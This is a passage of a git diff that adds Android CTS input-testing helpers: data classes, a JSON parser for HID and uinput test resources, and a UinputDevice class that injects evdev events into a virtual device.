-                return MotionEvent.BUTTON_SECONDARY;
-            case "STYLUS_PRIMARY":
-                return MotionEvent.BUTTON_STYLUS_PRIMARY;
-            case "STYLUS_SECONDARY":
-                return MotionEvent.BUTTON_STYLUS_SECONDARY;
-            case "TERTIARY":
-                return MotionEvent.BUTTON_TERTIARY;
-        }
-        throw new RuntimeException("Unknown button specified: " + button);
-    }
-}
diff --git a/libs/input/src/com/android/cts/input/HidResultData.java b/libs/input/src/com/android/cts/input/HidResultData.java
new file mode 100644
index 0000000..5dbd612
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/HidResultData.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+/**
+ * Data class that stores Hid test data result returned from hid command.
+ *
+ */
+public class HidResultData {
+    // event Id of test result
+    public byte eventId;
+
+    // Device Id
+    public int deviceId;
+
+    // report type
+    public byte reportType;
+
+    // report data
+    public byte[] reportData;
+}
diff --git a/libs/input/src/com/android/cts/input/HidVibratorTestData.java b/libs/input/src/com/android/cts/input/HidVibratorTestData.java
new file mode 100644
index 0000000..b67c082
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/HidVibratorTestData.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.util.ArrayMap;
+
+import java.util.List;
+
+/**
+ * Data class that stores HID vibrator test data.
+ */
+public class HidVibratorTestData {
+    // Array of vibrator durations
+    public List<Long> durations;
+
+    // Array of vibrator amplitudes
+    public List<Integer> amplitudes;
+
+    // Index of left FF effect in hid output.
+    public int leftFfIndex;
+
+    // Index of right FF effect in hid output.
+    public int rightFfIndex;
+
+    // Hid output verification check, index and expected data.
+    public ArrayMap<Integer, Integer> verifyMap;
+}
diff --git a/libs/input/src/com/android/cts/input/InputJsonParser.java b/libs/input/src/com/android/cts/input/InputJsonParser.java
new file mode 100644
index 0000000..cec52e9
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/InputJsonParser.java
@@ -0,0 +1,682 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.util.ArrayMap;
+import android.util.SparseArray;
+import android.view.InputDevice;
+import android.view.InputEvent;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+
+
+/**
+ * Parse json resource file that contains the test commands for HidDevice
+ *
+ * For files containing reports and input events, each entry should be in the following format:
+ * <code>
+ * {"name": "test case name",
+ *  "reports": reports,
+ *  "events": input_events
+ * }
+ * </code>
+ *
+ * {@code reports} - an array of strings that contain hex arrays.
+ * {@code input_events} - an array of dicts in the following format:
+ * <code>
+ * {"action": "down|move|up", "axes": {"axis_x": x, "axis_y": y}, "keycode": "button_a"}
+ * </code>
+ * {@code "axes"} should only be defined for motion events, and {@code "keycode"} for key events.
+ * Timestamps will not be checked.
+
+ * Example:
+ * <code>
+ * [{ "name": "press button A",
+ *    "reports": ["report1",
+ *                "report2",
+ *                "report3"
+ *               ],
+ *    "events": [{"action": "down", "axes": {"axis_y": 0.5, "axis_x": 0.1}},
+ *               {"action": "move", "axes": {"axis_y": 0.0, "axis_x": 0.0}}
+ *              ]
+ *  },
+ *  ... more tests like that
+ * ]
+ * </code>
+ */
+public class InputJsonParser {
+    private static final String TAG = "InputJsonParser";
+
+    private Context mContext;
+
+    public InputJsonParser(Context context) {
+        mContext = context;
+    }
+
+    /**
+     * Convenience function to create JSONArray from resource.
+     * The resource specified should contain JSON array as the top-level structure.
+     *
+     * @param resourceId The resourceId that contains the json data (typically inside R.raw)
+     */
+    private JSONArray getJsonArrayFromResource(int resourceId) {
+        String data = readRawResource(resourceId);
+        try {
+            return new JSONArray(data);
+        } catch (JSONException e) {
+            throw new RuntimeException(
+                    "Could not parse resource " + resourceId + ", received: " + data);
+        }
+    }
+
+    /**
+     * Convenience function to read in an entire file as a String.
+     *
+     * @param id resourceId of the file
+     * @return contents of the raw resource file as a String
+     */
+    private String readRawResource(int id) {
+        InputStream inputStream = mContext.getResources().openRawResource(id);
+        try {
+            return readFully(inputStream);
+        } catch (IOException e) {
+            throw new RuntimeException("Could not read resource id " + id);
+        }
+    }
+
+    /**
+     * Read register command from raw resource.
+     *
+     * @param resourceId the raw resource id that contains the command
+     * @return the command to register device that can be passed to HidDevice constructor
+     */
+    public String readRegisterCommand(int resourceId) {
+        return readRawResource(resourceId);
+    }
+
+    /**
+     * Read entire input stream until no data remains.
+     *
+     * @param inputStream
+     * @return content of the input stream
+     * @throws IOException
+     */
+    private String readFully(InputStream inputStream) throws IOException {
+        OutputStream baos = new ByteArrayOutputStream();
+        byte[] buffer = new byte[1024];
+        int read = inputStream.read(buffer);
+        while (read >= 0) {
+            baos.write(buffer, 0, read);
+            read = inputStream.read(buffer);
+        }
+        return baos.toString();
+    }
+
+    /**
+     * Extract the device id from the raw resource file. This is needed in order to register
+     * a HidDevice.
+     *
+     * @param resourceId resource file that contains the register command.
+     * @return hid device id
+     */
+    public int readDeviceId(int resourceId) {
+        try {
+            JSONObject json = new JSONObject(readRawResource(resourceId));
+            return json.getInt("id");
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not read device id from resource " + resourceId);
+        }
+    }
+
+    /**
+     * Extract the Vendor id from the raw resource file.
+     *
+     * @param resourceId resource file that contains the register command.
+     * @return device vendor id
+     */
+    public int readVendorId(int resourceId) {
+        try {
+            JSONObject json = new JSONObject(readRawResource(resourceId));
+            return json.getInt("vid");
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not read vendor id from resource " + resourceId);
+        }
+    }
+
+    /**
+     * Extract the input sources from the raw resource file.
+     *
+     * @param resourceId resource file that contains the register command.
+     * @return device sources
+     */
+    public int readSources(int resourceId) {
+        try {
+            JSONObject json = new JSONObject(readRawResource(resourceId));
+            return sourceFromString(json.optString("source"));
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not read resource from resource " + resourceId);
+        }
+    }
+
+    /**
+     * Extract the Product id from the raw resource file.
+     *
+     * @param resourceId resource file that contains the register command.
+     * @return device product id
+     */
+    public int readProductId(int resourceId) {
+        try {
+            JSONObject json = new JSONObject(readRawResource(resourceId));
+            return json.getInt("pid");
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not read prduct id from resource " + resourceId);
+        }
+    }
+
+    private List<Long> getLongList(JSONArray array) {
+        List<Long> data = new ArrayList<Long>();
+        for (int i = 0; i < array.length(); i++) {
+            try {
+                data.add(array.getLong(i));
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not read array index " + i);
+            }
+        }
+        return data;
+    }
+
+    private List<Integer> getIntList(JSONArray array) {
+        List<Integer> data = new ArrayList<Integer>();
+        for (int i = 0; i < array.length(); i++) {
+            try {
+                data.add(array.getInt(i));
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not read array index " + i);
+            }
+        }
+        return data;
+    }
+
+    private InputEvent parseInputEvent(int testCaseNumber, int source, JSONObject entry) {
+        try {
+            InputEvent event;
+            if (entry.has("keycode")) {
+                event = parseKeyEvent(source, entry);
+            } else if (entry.has("axes")) {
+                event = parseMotionEvent(source, entry);
+            } else {
+                throw new RuntimeException(
+                        "Input event is not specified correctly. Received: " + entry);
+            }
+            return event;
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not process entry " + testCaseNumber + " : " + entry);
+        }
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of HidTestData, which contains
+     * the name of each test, along with the HID reports and the expected input events.
+     */
+    public List<HidTestData> getHidTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<HidTestData> tests = new ArrayList<HidTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            HidTestData testData = new HidTestData();
+
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                testData.name = testcaseEntry.getString("name");
+                JSONArray reports = testcaseEntry.getJSONArray("reports");
+
+                for (int i = 0; i < reports.length(); i++) {
+                    String report = reports.getString(i);
+                    testData.reports.add(report);
+                }
+
+                final int source = sourceFromString(testcaseEntry.optString("source"));
+                JSONArray events = testcaseEntry.getJSONArray("events");
+                for (int i = 0; i < events.length(); i++) {
+                    testData.events.add(parseInputEvent(i, source, events.getJSONObject(i)));
+                }
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber);
+            }
+        }
+        return tests;
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of HidVibratorTestData, which contains
+     * the vibrator FF effect strength data index, and the hid output verification data.
+     */
+    public List<HidVibratorTestData> getHidVibratorTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<HidVibratorTestData> tests = new ArrayList<HidVibratorTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            HidVibratorTestData testData = new HidVibratorTestData();
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                testData.leftFfIndex = testcaseEntry.getInt("leftFfIndex");
+                testData.rightFfIndex = testcaseEntry.getInt("rightFfIndex");
+
+                JSONArray durationsArray = testcaseEntry.getJSONArray("durations");
+                JSONArray amplitudesArray = testcaseEntry.getJSONArray("amplitudes");
+                assertEquals(durationsArray.length(), amplitudesArray.length());
+                testData.durations = new ArrayList<Long>();
+                testData.amplitudes = new ArrayList<Integer>();
+                for (int i = 0; i < durationsArray.length(); i++) {
+                    testData.durations.add(durationsArray.getLong(i));
+                    testData.amplitudes.add(amplitudesArray.getInt(i));
+                }
+
+                JSONArray outputArray = testcaseEntry.getJSONArray("output");
+                testData.verifyMap = new ArrayMap<Integer, Integer>();
+                for (int i = 0; i < outputArray.length(); i++) {
+                    JSONObject item = outputArray.getJSONObject(i);
+                    int index = item.getInt("index");
+                    int data = item.getInt("data");
+                    testData.verifyMap.put(index, data);
+                }
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber);
+            }
+        }
+        return tests;
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of HidBatteryTestData, which contains
+     * the name of each test, along with the HID reports and the expected batttery status.
+     */
+    public List<HidBatteryTestData> getHidBatteryTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<HidBatteryTestData> tests = new ArrayList<HidBatteryTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            HidBatteryTestData testData = new HidBatteryTestData();
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                testData.name = testcaseEntry.getString("name");
+                JSONArray reports = testcaseEntry.getJSONArray("reports");
+
+                for (int i = 0; i < reports.length(); i++) {
+                    String report = reports.getString(i);
+                    testData.reports.add(report);
+                }
+
+                JSONArray capacitiesArray = testcaseEntry.getJSONArray("capacities");
+                testData.capacities = new float[capacitiesArray.length()];
+                for (int i = 0; i < capacitiesArray.length(); i++) {
+                    testData.capacities[i] = Float.valueOf(capacitiesArray.getString(i));
+                }
+                testData.status = testcaseEntry.getInt("status");
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber + " " + e);
+            }
+        }
+        return tests;
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of UinputVibratorTestData, which contains
+     * the vibrator FF effect of durations and amplitudes.
+     */
+    public List<UinputVibratorTestData> getUinputVibratorTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<UinputVibratorTestData> tests = new ArrayList<UinputVibratorTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            UinputVibratorTestData testData = new UinputVibratorTestData();
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                JSONArray durationsArray = testcaseEntry.getJSONArray("durations");
+                JSONArray amplitudesArray = testcaseEntry.getJSONArray("amplitudes");
+                assertEquals("Duration array length not equal to amplitude array length",
+                        durationsArray.length(), amplitudesArray.length());
+                testData.durations = getLongList(durationsArray);
+                testData.amplitudes = getIntList(amplitudesArray);
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber);
+            }
+        }
+        return tests;
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of UinputVibratorManagerTestData, which
+     * contains the vibrator Ids and FF effect of durations and amplitudes.
+     */
+    public List<UinputVibratorManagerTestData> getUinputVibratorManagerTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<UinputVibratorManagerTestData> tests = new ArrayList<UinputVibratorManagerTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            UinputVibratorManagerTestData testData = new UinputVibratorManagerTestData();
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                JSONArray durationsArray = testcaseEntry.getJSONArray("durations");
+                testData.durations = getLongList(durationsArray);
+                testData.amplitudes = new SparseArray<>();
+                JSONObject amplitudesObj = testcaseEntry.getJSONObject("amplitudes");
+                for (int i = 0; i < amplitudesObj.names().length(); i++) {
+                    String vibratorId = amplitudesObj.names().getString(i);
+                    JSONArray amplitudesArray = amplitudesObj.getJSONArray(vibratorId);
+                    testData.amplitudes.append(Integer.valueOf(vibratorId),
+                            getIntList(amplitudesArray));
+                    assertEquals("Duration array length not equal to amplitude array length",
+                            durationsArray.length(), amplitudesArray.length());
+                }
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber);
+            }
+        }
+        return tests;
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of UinputTestData, which contains
+     * the name of each test, along with the uinput injections and the expected input events.
+     */
+    public List<UinputTestData> getUinputTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<UinputTestData> tests = new ArrayList<UinputTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            UinputTestData testData = new UinputTestData();
+
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                testData.name = testcaseEntry.getString("name");
+                JSONArray reports = testcaseEntry.getJSONArray("injections");
+                for (int i = 0; i < reports.length(); i++) {
+                    String injections = reports.getString(i);
+                    testData.evdevEvents.add(injections);
+                }
+
+                final int source = sourceFromString(testcaseEntry.optString("source"));
+
+                JSONArray events = testcaseEntry.getJSONArray("events");
+                for (int i = 0; i < events.length(); i++) {
+                    testData.events.add(parseInputEvent(i, source, events.getJSONObject(i)));
+                }
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber);
+            }
+        }
+        return tests;
+    }
+
+    private KeyEvent parseKeyEvent(int source, JSONObject entry) throws JSONException {
+        int action = keyActionFromString(entry.getString("action"));
+        int keyCode = KeyEvent.keyCodeFromString(entry.getString("keycode"));
+        int metaState = metaStateFromString(entry.optString("metaState"));
+        // We will only check select fields of the KeyEvent. Times are not checked.
+        return new KeyEvent(/* downTime */ 0, /* eventTime */ 0, action, keyCode,
+                /* repeat */ 0, metaState, /* deviceId */ 0, /* scanCode */ 0,
+                /* flags */ 0, source);
+    }
+
+    private MotionEvent parseMotionEvent(int source, JSONObject entry) throws JSONException {
+        JSONArray pointers = entry.optJSONArray("axes");
+        int pointerCount = pointers == null ? 1 : pointers.length();
+
+        MotionEvent.PointerProperties[] properties =
+                new MotionEvent.PointerProperties[pointerCount];
+        for (int i = 0; i < pointerCount; i++) {
+            properties[i] = new MotionEvent.PointerProperties();
+            properties[i].id = i;
+            properties[i].toolType = MotionEvent.TOOL_TYPE_UNKNOWN;
+        }
+
+        MotionEvent.PointerCoords[] coords = new MotionEvent.PointerCoords[pointerCount];
+        for (int i = 0; i < pointerCount; i++) {
+            coords[i] = new MotionEvent.PointerCoords();
+        }
+
+        int action = motionActionFromString(entry);
+
+        int buttonState = 0;
+        JSONArray buttons = entry.optJSONArray("buttonState");
+        if (buttons != null) {
+            for (int i = 0; i < buttons.length(); i++) {
+                String buttonStr = buttons.getString(i);
+                buttonState |= motionButtonFromString(buttonStr);
+            }
+        }
+
+        // "axes" field should be an array if there are multiple pointers
+        for (int i = 0; i < pointerCount; i++) {
+            JSONObject axes;
+            if (pointers == null) {
+                axes = entry.getJSONObject("axes");
+            } else {
+                axes = pointers.getJSONObject(i);
+            }
+            Iterator<String> keys = axes.keys();
+            while (keys.hasNext()) {
+                String axis = keys.next();
+                float value = (float) axes.getDouble(axis);
+                coords[i].setAxisValue(MotionEvent.axisFromString(axis), value);
+            }
+        }
+
+        // Times are not checked
+        return MotionEvent.obtain(/* downTime */ 0, /* eventTime */ 0, action,
+                pointerCount, properties, coords, 0, buttonState, 0f, 0f,
+                0, 0, source, 0);
+    }
+
+    private static int keyActionFromString(String action) {
+        switch (action.toUpperCase()) {
+            case "DOWN":
+                return KeyEvent.ACTION_DOWN;
+            case "UP":
+                return KeyEvent.ACTION_UP;
+        }
+        throw new RuntimeException("Unknown action specified: " + action);
+    }
+
+    private static int metaStateFromString(String metaStateString) {
+        int metaState = 0;
+        if (metaStateString.isEmpty()) {
+            return metaState;
+        }
+        final String[] metaKeys = metaStateString.split("\\|");
+        for (final String metaKeyString : metaKeys) {
+            final String trimmedKeyString = metaKeyString.trim();
+            switch (trimmedKeyString.toUpperCase()) {
+                case "SHIFT_LEFT":
+                    metaState |= KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_LEFT_ON;
+                    break;
+                case "SHIFT_RIGHT":
+                    metaState |= KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_RIGHT_ON;
+                    break;
+                case "CTRL_LEFT":
+                    metaState |= KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_LEFT_ON;
+                    break;
+                case "CTRL_RIGHT":
+                    metaState |= KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_RIGHT_ON;
+                    break;
+                case "ALT_LEFT":
+                    metaState |= KeyEvent.META_ALT_ON | KeyEvent.META_ALT_LEFT_ON;
+                    break;
+                case "ALT_RIGHT":
+                    metaState |= KeyEvent.META_ALT_ON | KeyEvent.META_ALT_RIGHT_ON;
+                    break;
+                case "META_LEFT":
+                    metaState |= KeyEvent.META_META_ON | KeyEvent.META_META_LEFT_ON;
+                    break;
+                case "META_RIGHT":
+                    metaState |= KeyEvent.META_META_ON | KeyEvent.META_META_RIGHT_ON;
+                    break;
+                case "CAPS_LOCK":
+                    metaState |= KeyEvent.META_CAPS_LOCK_ON;
+                    break;
+                case "NUM_LOCK":
+                    metaState |= KeyEvent.META_NUM_LOCK_ON;
+                    break;
+                case "SCROLL_LOCK":
+                    metaState |= KeyEvent.META_SCROLL_LOCK_ON;
+                    break;
+                default:
+                    throw new RuntimeException("Unknown meta state chunk: " + trimmedKeyString
+                            + " in meta state string: " + metaStateString);
+            }
+        }
+        return metaState;
+    }
+
+    private static int motionActionFromString(JSONObject entry) {
+        String action;
+        int motionAction = 0;
+
+        try {
+            action = entry.getString("action").toUpperCase();
+        } catch (JSONException e) {
+            throw new RuntimeException("Action not specified. ");
+        }
+
+        switch (action) {
+            case "DOWN":
+                motionAction = MotionEvent.ACTION_DOWN;
+                break;
+            case "MOVE":
+                motionAction = MotionEvent.ACTION_MOVE;
+                break;
+            case "UP":
+                motionAction = MotionEvent.ACTION_UP;
+                break;
+            case "BUTTON_PRESS":
+                motionAction = MotionEvent.ACTION_BUTTON_PRESS;
+                break;
+            case "BUTTON_RELEASE":
+                motionAction = MotionEvent.ACTION_BUTTON_RELEASE;
+                break;
+            case "HOVER_ENTER":
+                motionAction = MotionEvent.ACTION_HOVER_ENTER;
+                break;
+            case "HOVER_MOVE":
+                motionAction = MotionEvent.ACTION_HOVER_MOVE;
+                break;
+            case "HOVER_EXIT":
+                motionAction = MotionEvent.ACTION_HOVER_EXIT;
+                break;
+            case "POINTER_DOWN":
+                motionAction = MotionEvent.ACTION_POINTER_DOWN;
+                break;
+            case "POINTER_UP":
+                motionAction = MotionEvent.ACTION_POINTER_UP;
+                break;
+            case "CANCEL":
+                motionAction = MotionEvent.ACTION_CANCEL;
+                break;
+            default:
+                throw new RuntimeException("Unknown action specified: " + action);
+        }
+        int pointerId;
+        try {
+            if (motionAction == MotionEvent.ACTION_POINTER_UP
+                    || motionAction == MotionEvent.ACTION_POINTER_DOWN) {
+                pointerId = entry.getInt("pointerId");
+            } else {
+                pointerId = entry.optInt("pointerId", 0);
+            }
+        } catch (JSONException e) {
+            throw new RuntimeException("PointerId not specified: " + action);
+        }
+        return motionAction | (pointerId << MotionEvent.ACTION_POINTER_INDEX_SHIFT);
+    }
+
+    private static int sourceFromString(String sourceString) {
+        if (sourceString.isEmpty()) {
+            return InputDevice.SOURCE_UNKNOWN;
+        }
+        int source = 0;
+        final String[] sourceEntries = sourceString.split("\\|");
+        for (final String sourceEntry : sourceEntries) {
+            final String trimmedSourceEntry = sourceEntry.trim();
+            switch (trimmedSourceEntry.toUpperCase()) {
+                case "MOUSE":
+                    source |= InputDevice.SOURCE_MOUSE;
+                    break;
+                case "MOUSE_RELATIVE":
+                    source |= InputDevice.SOURCE_MOUSE_RELATIVE;
+                    break;
+                case "JOYSTICK":
+                    source |= InputDevice.SOURCE_JOYSTICK;
+                    break;
+                case "KEYBOARD":
+                    source |= InputDevice.SOURCE_KEYBOARD;
+                    break;
+                case "GAMEPAD":
+                    source |= InputDevice.SOURCE_GAMEPAD;
+                    break;
+                case "DPAD":
+                    source |= InputDevice.SOURCE_DPAD;
+                    break;
+                case "TOUCHPAD":
+                    source |= InputDevice.SOURCE_TOUCHPAD;
+                    break;
+                case "SENSOR":
+                    source |= InputDevice.SOURCE_SENSOR;
+                    break;
+                default:
+                    throw new RuntimeException("Unknown source chunk: " + trimmedSourceEntry
+                            + " in source string: " + sourceString);
+            }
+        }
+        return source;
+    }
+
+    private static int motionButtonFromString(String button) {
+        switch (button.toUpperCase()) {
+            case "BACK":
+                return MotionEvent.BUTTON_BACK;
+            case "FORWARD":
+                return MotionEvent.BUTTON_FORWARD;
+            case "PRIMARY":
+                return MotionEvent.BUTTON_PRIMARY;
+            case "SECONDARY":
+                return MotionEvent.BUTTON_SECONDARY;
+            case "STYLUS_PRIMARY":
+                return MotionEvent.BUTTON_STYLUS_PRIMARY;
+            case "STYLUS_SECONDARY":
+                return MotionEvent.BUTTON_STYLUS_SECONDARY;
+            case "TERTIARY":
+                return MotionEvent.BUTTON_TERTIARY;
+        }
+        throw new RuntimeException("Unknown button specified: " + button);
+    }
+}
diff --git a/libs/input/src/com/android/cts/input/UinputDevice.java b/libs/input/src/com/android/cts/input/UinputDevice.java
new file mode 100644
index 0000000..755647c
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/UinputDevice.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.app.Instrumentation;
+import android.util.Log;
+
+import androidx.annotation.GuardedBy;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Represents a virtual UINPUT device registered through /dev/uinput.
+ */
+public final class UinputDevice extends VirtualInputDevice {
+    private static final String TAG = "UinputDevice";
+    // uinput executable expects "-" argument to read from stdin instead of a file
+    private static final String UINPUT_COMMAND = "uinput -";
+
+    @GuardedBy("mLock")
+    private List<UinputResultData> mResults = new ArrayList<UinputResultData>();
+
+    @Override
+    protected String getShellCommand() {
+        return UINPUT_COMMAND;
+    }
+
+    @Override
+    protected void readResults() {
+        try {
+            mReader.beginObject();
+            UinputResultData result = new UinputResultData();
+            while (mReader.hasNext()) {
+                String fieldName = mReader.nextName();
+                if (fieldName.equals("reason")) {
+                    result.reason = mReader.nextString();
+                }
+                if (fieldName.equals("id")) {
+                    result.deviceId = Integer.decode(mReader.nextString());
+                }
+                if (fieldName.equals("status")) {
+                    result.status = Integer.decode(mReader.nextString());
+                }
+            }
+            mReader.endObject();
+            addResult(result);
+        } catch (IOException ex) {
+            Log.w(TAG, "Exiting JSON Result reader. " + ex);
+        }
+    }
+
+    public UinputDevice(Instrumentation instrumentation, int id, int vendorId, int productId,
+            int sources, String registerCommand) {
+        super(instrumentation, id, vendorId, productId, sources, registerCommand);
+    }
+
+    /**
+     * Get uinput command return results as list of UinputResultData
+     *
+     * @return List of UinputResultData results
+     */
+    public synchronized List<UinputResultData> getResults(int deviceId, String reason)
+            throws IOException {
+        List<UinputResultData> results = new ArrayList<UinputResultData>();
+        synchronized (mLock) {
+            for (UinputResultData result : mResults) {
+                if (deviceId == result.deviceId && reason.equals(reason)) {
+                    results.add(result);
+                }
+            }
+        }
+        return results;
+    }
+
+    /**
+     * Add uinput command returned UinputResultData result
+     *
+     * @param result UinputResultData result
+     */
+    public synchronized void addResult(UinputResultData result) {
+        synchronized (mLock) {
+            if (mId == result.deviceId && mResults != null) {
+                mResults.add(result);
+            }
+        }
+    }
+
+    /**
+     * Inject array of uinput events to the device.  The events array should follow the below
+     * format:
+     *
+     * String evdevEvents = "[0x01, 0x0a, 0x01, 0x01, 0x0a, 0x00 ]"
+     * The above string represents an event array of [EV_KEY, KEY_9, DOWN,  EV_KEY, KEY_9, UP]
+     *
+     * @param evdevEvents The uinput events to be injected.  (a JSON-formatted array of hex)
+     */
+    public void injectEvents(String evdevEvents) {
+        JSONObject json = new JSONObject();
+        try {
+            json.put("command", "inject");
+            json.put("id", mId);
+            json.put("events", new JSONArray(evdevEvents));
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not inject events: " + evdevEvents);
+        }
+        writeCommands(json.toString().getBytes());
+    }
+
+}
diff --git a/libs/input/src/com/android/cts/input/UinputResultData.java b/libs/input/src/com/android/cts/input/UinputResultData.java
new file mode 100644
index 0000000..28f4ca5
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/UinputResultData.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+/**
+ * Data class that stores UINPUT test data result returned from uinput command.
+ *
+ */
+public class UinputResultData {
+    // Reason of the test result
+    public String reason;
+
+    // Device Id
+    public int deviceId;
+
+    // Device status
+    public int status;
+}
diff --git a/libs/input/src/com/android/cts/input/UinputTestData.java b/libs/input/src/com/android/cts/input/UinputTestData.java
new file mode 100644
index 0000000..7fbd07d
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/UinputTestData.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.view.InputEvent;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Data class that stores UINPUT test data.
+ *
+ * There need not be a 1:1 mapping from evdevEvents to events.
